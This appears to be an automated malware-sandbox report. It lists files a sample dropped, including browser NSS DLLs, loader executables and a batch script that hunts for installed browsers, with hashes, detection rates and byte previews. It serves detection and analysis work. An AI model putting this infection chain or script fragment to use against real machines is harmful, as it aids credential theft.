Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.948935405387356
Encrypted:	false
SSDEEP:	49152:r+D9hvn2/aJgf0UelLiX+4lDULuiJwvK:SJhAKbiXHupQK
MD5:	2EA7CDF07B824194AB50F5C5B1E61F16
SHA1:	610D8FBD406253C560EE4B8BED291ACC4BA8FF59
SHA-256:	E317B1EFD163851761B4820E09F1030B1D02E9445482629329C1E05EC4C1AF31
SHA-512:	05004324478BB1943464C51585CBE7E50ECAD79E3C036526674934B2556A8A5790A630EE488FCC5933C53F2F8C05A42C005413BF32E278E1E5DBFFD70DE2AD0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................0L...........@..........................`L...........@.................................W...k...........................,.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...legihfsp.@....1..6..................@...iwukfltx..... L......*..............@....taggant.0...0L.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	253952
Entropy (8bit):	6.12196004855163
Encrypted:	false
SSDEEP:	3072:6HXfJmQUzKqHjuplWvBspz5phUjbc3kej1HW9UZgBhTARop+Ps1fZAgT2:QPJmQUzKFesXMbaL12D1ArsnAgT
MD5:	D3CE34E9BB2A33AB3D637E75AF2A8BB8
SHA1:	6C309255F2E701F8325C0BA2EBA8FE270C32E44A
SHA-256:	8C207B724EE5D0FEBAA25AADF3861B31E3740412DA99DFD53E5518DB47082312
SHA-512:	FDEA0CE0DA180D2BC06234EC427226FD39A4A16FEA23FE527C0B88A9F552CBF9E70885C5F91A35BD8FC78B72266C8FD702EF77404C350F96232D6CC321DE382A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}............j}.....jH.....j\|.....dE...........jy.....jL.....jK....Rich...................PE..L......c............................\ .......0....@..........................`.......T.......................................X..d....................................Y...............................S..@............0...............................text............................... ..`.rdata..X2...0...4..................@..@.data........p.......R..............@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\AppData\RoamingIJEGDBGDBF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912832
Entropy (8bit):	7.950748761696472
Encrypted:	false
SSDEEP:	49152:DFEuNL8d5bf5BIm+Yu7jTAKTmwdFx38H:DFT85bRUY2VmiFx3W
MD5:	206643B224AE6BBD3DF9D3CA393B9E80
SHA1:	BDFDA63D6DEC9F2229A3DB520551B401A93F7F68
SHA-256:	1E67C7E3F86DF2093BE13351F75F6B35A322FD6019BAFF6B75251D8BEE29F346
SHA-512:	2E8FA732DE3AB0B2F0517DD3186DEBE3CFFD87B45D0D1B2FC1C95DB4DFD9FD999EBAB11E7897D3402AA163FB498803F44B098978133A83EA71D5FEF474FC1489
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K...........@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...yaomedmc. ....1.....................@...ihlphrnj......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	253952
Entropy (8bit):	6.12196004855163
Encrypted:	false
SSDEEP:	3072:6HXfJmQUzKqHjuplWvBspz5phUjbc3kej1HW9UZgBhTARop+Ps1fZAgT2:QPJmQUzKFesXMbaL12D1ArsnAgT
MD5:	D3CE34E9BB2A33AB3D637E75AF2A8BB8
SHA1:	6C309255F2E701F8325C0BA2EBA8FE270C32E44A
SHA-256:	8C207B724EE5D0FEBAA25AADF3861B31E3740412DA99DFD53E5518DB47082312
SHA-512:	FDEA0CE0DA180D2BC06234EC427226FD39A4A16FEA23FE527C0B88A9F552CBF9E70885C5F91A35BD8FC78B72266C8FD702EF77404C350F96232D6CC321DE382A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}............j}.....jH.....j\|.....dE...........jy.....jL.....jK....Rich...................PE..L......c............................\ .......0....@..........................`.......T.......................................X..d....................................Y...............................S..@............0...............................text............................... ..`.rdata..X2...0...4..................@..@.data........p.......R..............@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\422f614c-1c66-4e02-9848-dc5c7b5186b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\AppData\RoamingBKJEGDGIJE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.948935405387356
Encrypted:	false
SSDEEP:	49152:r+D9hvn2/aJgf0UelLiX+4lDULuiJwvK:SJhAKbiXHupQK
MD5:	2EA7CDF07B824194AB50F5C5B1E61F16
SHA1:	610D8FBD406253C560EE4B8BED291ACC4BA8FF59
SHA-256:	E317B1EFD163851761B4820E09F1030B1D02E9445482629329C1E05EC4C1AF31
SHA-512:	05004324478BB1943464C51585CBE7E50ECAD79E3C036526674934B2556A8A5790A630EE488FCC5933C53F2F8C05A42C005413BF32E278E1E5DBFFD70DE2AD0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................0L...........@..........................`L...........@.................................W...k...........................,.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...legihfsp.@....1..6..................@...iwukfltx..... L......*..............@....taggant.0...0L.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat

Download File

Process:	C:\Users\user\1000003002\5aa32fec17.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.949249124498804
Encrypted:	false
SSDEEP:	48:Nd27V5rN81fN80XUbaOUb5OzQ/iqzQ/hXDTjODAKpxVgXDOev0W:j6rrN81fN80Ebanb5OzQ/iqzQ/hTTj+y
MD5:	DE9423D9C334BA3DBA7DC874AA7DBC28
SHA1:	BF38B137B8D780B3D6D62AEE03C9D3F73770D638
SHA-256:	A1E1B422C40FB611A50D3F8BF34F9819F76DDB304AA2D105FB49F41F57752698
SHA-512:	63F13ACD904378AD7DE22053E1087D61A70341F1891ADA3B671223FEC8F841B42B6F1060A4B18C8BB865EE4CD071CADC7FF6BD6D549760945BF1645A1086F401
Malicious:	false
Preview:	@shift /0..@echo off..setlocal....set "URL=https://www.youtube.com/account"....rem Initialize paths..set "chromePath="..set "edgePath="..set "firefoxPath="....rem Hardcoded paths..set "ProgramFiles64=C:\Program Files"..set "ProgramFiles86=C:\Program Files (x86)"....rem Check for Chrome in 64-bit system directory..if exist "%ProgramFiles64%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles64%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in 32-bit system directory..if exist "%ProgramFiles86%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles86%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in user profiles..for /d %%u in ("%SystemDrive%\Users\*") do (.. if exist "%%u\AppData\Local\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%%u\AppData\Local\Google\Chrome\Application\chrome.exe".. goto check_edge.. )..)....:check_edge....rem C

C:\Users\user\AppData\Local\Temp\68d73d58-8526-4895-88a0-b17afa6d9219.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\987dc51e-01ae-4457-8596-b92e747ea0d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\b0f1e6c9-2651-445f-9f2b-d63470018e57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.433647772950627
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0Uqc5TjM0HLF5M:JIVuwEw5MUFZLBQLtmkndXM
MD5:	390672B24B79DE242440B6CFC969C96D
SHA1:	A366D332883F74FB715CB44C4644D313F36DCEC9
SHA-256:	8EA9ADAB77AB50330B1897D1148AF289D5478B9050ACE349587D97658749D2A6
SHA-512:	A6EC5394134922915EAC910F7E3F7B6E3D131767F35A8818266986803BAEC692972B27C759BC33AE70A3157B955735FE98EE4A318C883CCEDD85605D0429161E
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir1952_1532278944\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1952_1532278944\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
